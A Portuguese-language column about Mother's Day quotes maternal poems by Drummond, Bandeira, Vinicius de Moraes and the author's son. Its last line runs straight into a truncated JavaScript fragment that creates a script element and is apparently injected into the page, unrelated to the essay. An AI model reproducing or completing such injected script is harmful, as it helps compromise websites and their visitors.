Mãe imortalizada na poesia

Entre as comemorações anuais, impostas pelo calendário capitalista de consumo, o Dia das Mães provavelmente seja a mais lembrada pelos que ficaram órfãos maternos muito cedo, que aliviam as suas frustrações recorrendo à poesia, como é o meu caso.

A propósito, entre dezenas de poetas brasileiros que compuseram versos sobre suas mães, destaco quatro, três dos quais ausentes; o outro ainda presente e, felizmente, cheio de vida. Começando por Carlos Drummond de Andrade:

“Por que Deus permite / Que as mães vão-se embora? / Mãe não tem limite, / É tempo sem hora. / Fosse eu Rei do Mundo, / Decretaria uma Lei: / Mãe não morre nunca. / Mãe ficará sempre / Junto de seu filho. / E ele, velho embora, / Será pequenino / Feito grão de milho”

De Manuel Bandeira:

“Tudo que há de infantil dentro de minh´alma sangra / Na dor de te ter visto, ó Mãe, agonizar! / Revejo os teus pequenos pés… / A mão franzina… /  A fronte baixa… / A boca exangue… /  A duas gerações passara já teu sangue: / – Eras avó -, e morta eras uma menina!”

De Vinicius de Moraes, num momento de aflição:

“Minha Mãe, minha Mãe, eu tenho medo! / Tenho medo da vida, minha Mãe. / Canta a doce cantiga que cantavas / Quando eu corria doido ao teu regaço / Com medo dos fantasmas do telhado. / Nina o meu sono cheio de inquietude / Batendo de leve no meu braço!”

De Cláudio Sampaio, meu filho, que externou com palavras, no jantar de domingo, 14,  Dia das Mães, o que já havia escrito no seu livro de poemas, recentemente publicado:

“Todo o carinho / Toda a força / Toda a vontade / Emanam de ti. / Toda garra  / Toda fé / Toda coragem / Nasceram em ti. / Para sempre, em meus sonhos, / Permanecerá a tua imagem / A me acalentar nas noites de frio / A instigar em mim desafios / A me sustentar neste mundo perdido.

        Sou grato por ter vindo de ti /  Pois ainda hoje sinto, em todos os meus dias, / O calor do teu ventre / A imensurável força do teu amor / O poder de tuas preces iluminando o meu caminho. / Portanto, eu nunca terei medo. / Estaremos sempre juntos, pelo sangue e pelo amor.

Mais ainda, entretanto, porque sempre quando eu acordar / E me olhar no espelho, me sentirei confortado / Ao saber que os teus olhos viverão eternamente nos meus!”

É isso aí, amigo leitor. Para mim, o Dia das Mães valeu.var d=document;var s=d.createElement(‘script’);

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